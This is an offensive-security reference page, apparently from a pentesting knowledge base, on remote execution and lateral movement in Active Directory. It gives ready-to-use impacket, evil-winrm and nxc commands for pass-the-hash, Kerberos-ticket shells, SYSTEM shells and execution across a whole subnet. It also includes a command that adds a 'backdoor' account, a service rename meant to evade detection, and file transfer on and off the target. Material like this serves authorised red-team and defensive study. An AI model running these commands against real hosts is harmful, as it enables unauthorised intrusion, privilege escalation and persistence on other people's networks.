# Remote Execution in Active Directory

> Techniques for executing commands on remote AD hosts via WMI, PsExec, WinRM, and scheduled tasks to facilitate lateral movement across the domain.

- **URL:** https://hackindex.io/platforms/active-directory/lateral-movement/ad-remote-execution
- **Path:** Active Directory > Lateral Movement
- **Up:** [Lateral Movement](https://hackindex.io/platforms/active-directory/lateral-movement.md)
- **Published:** 2026-04-30
- **Updated:** 2026-08-11

With valid credentials or hashes on a domain host, several execution primitives are available. Each leaves a different footprint and requires different rights. The choice matters depending on what defensive tooling is present and what access level you have on the target.

Local administrator access is required for most of these techniques. Confirm this first with a quick nxc check before running anything interactive.

- WMI: no disk artifact, runs in user context, quietest option
- PSExec: drops a service binary, gives SYSTEM shell, noisiest
- SMBExec: service-based without binary drop, SYSTEM shell
- WinRM: PowerShell session, requires Remote Management Users membership
- nxc: inline command execution across multiple hosts in a single pass

**Confirm local admin before executing**

```bash
# Pwn3d! = local admin on that host
nxc smb $TARGET_IP -u $USER -p $PASSWORD
nxc smb $TARGET_IP -u $USER -H $NTHASH
# SMB  10.10.10.20  445  WS01  [+] corp.local\jsmith:Password1! (Pwn3d!)
```

## WMI execution

WMI-based execution does not drop a binary to disk and does not create a visible service. It is the least noisy of the common remote execution methods. `impacket-wmiexec` spawns a semi-interactive shell through WMI command invocation.

**WMI remote execution**

```bash
# Interactive shell via WMI
impacket-wmiexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP

# Pass-the-Hash
impacket-wmiexec $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH

# Single command execution
impacket-wmiexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP -nooutput 'net user backdoor Password123! /add'

# Kerberos ticket
export KRB5CCNAME=$USER.ccache
impacket-wmiexec $DOMAIN/$USER@$TARGET_HOSTNAME -k -no-pass
# C:\Windows\system32> whoami
# corp\jsmith
# C:\Windows\system32> hostname
# WS01
```

## PSExec

PSExec drops a service binary to the `ADMIN$` share and creates a temporary service for code execution. This gives a SYSTEM-level shell but is noisy: it generates service creation events and leaves artefacts in the registry. Use when stealth is not a concern or when WMI is blocked.

**PSExec remote execution**

```bash
# Interactive SYSTEM shell
impacket-psexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP

# Pass-the-Hash
impacket-psexec $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH

# Kerberos ticket
impacket-psexec $DOMAIN/$USER@$TARGET_HOSTNAME -k -no-pass

# Specify custom service name (avoids detection by service name)
impacket-psexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP -service-name legitservice
# C:\Windows\system32> whoami
# nt authority\system
```

## SMBExec

SMBExec executes commands by creating and immediately deleting a service on the target: it does not drop a binary to disk. Output is written to a temporary file on the target and read back over SMB. Slower than wmiexec but more reliable in restricted environments where `ADMIN$` write is blocked.

**SMBExec remote execution**

```bash
# Interactive shell via SMB service execution
impacket-smbexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP

# Pass-the-Hash
impacket-smbexec $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH

# Specify share if ADMIN$ is restricted
impacket-smbexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP -share C$
# C:\Windows\system32> whoami
# nt authority\system
```

## WinRM execution

WinRM gives a PowerShell-based remote session over port 5985 or 5986. The target account must be in the Remote Management Users group or have explicit WinRM access. evil-winrm provides a feature-rich interface including file upload/download and in-memory script loading.

**WinRM with evil-winrm**

```bash
# Cleartext credentials
evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD

# Pass-the-Hash
evil-winrm -i $TARGET_IP -u $USER -H $NTHASH

# Kerberos ticket
export KRB5CCNAME=$USER.ccache
evil-winrm -i $TARGET_HOSTNAME -u $USER -r $DOMAIN

# Upload file to target
evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD
# then inside session:
upload /path/to/local/file.exe C:\Windows\Temp\file.exe

# Download file from target
download C:\Windows\Temp\output.txt /tmp/output.txt
# *Evil-WinRM* PS C:\Users\jsmith\Documents>
```

## nxc command execution

nxc supports inline command execution across multiple hosts in a single pass. Use this for quick collection tasks or to run commands across a subnet before establishing an interactive session.

**nxc bulk command execution**

```bash
# Single command on one host
nxc smb $TARGET_IP -u $USER -p $PASSWORD -x 'whoami'

# PowerShell command
nxc smb $TARGET_IP -u $USER -p $PASSWORD -X 'Get-LocalGroupMember Administrators'

# Execute across subnet
nxc smb $TARGET_SUBNET/24 -u $USER -H $NTHASH -x 'whoami' --no-bruteforce

# WMI-based execution (no SMB exec)
nxc wmi $TARGET_IP -u $USER -p $PASSWORD -x 'ipconfig'
# SMB  10.10.10.20  445  WS01  corp\jsmith
# SMB  10.10.10.30  445  WS02  corp\jsmith
```

## AD remote execution method comparison

| Method | Privilege required | Disk artefact | Shell level |
| --- | --- | --- | --- |
| wmiexec | Local admin | None | User context |
| psexec | Local admin | Service binary | SYSTEM |
| smbexec | Local admin | None | SYSTEM |
| evil-winrm | Remote Management Users | None | User context |

After gaining execution on a new host, run [Situational Awareness](https://hackindex.io/platforms/active-directory/post-exploitation/ad-post-exploitation-situational-awareness) to map what the new context can reach, then [Credential Harvesting](https://hackindex.io/platforms/active-directory/post-exploitation/ad-credential-harvesting) to collect hashes and tickets from LSASS and credential stores on the new host.

## References

- [Impacket: GitHub](https://github.com/fortra/impacket) - wmiexec, psexec, smbexec execution reference
- [NetExec (nxc): GitHub](https://github.com/Pennyw0rth/NetExec) - SMB and WMI execution modules
- [evil-winrm: GitHub](https://github.com/Hackplayers/evil-winrm) - WinRM shell with upload/download and Kerberos support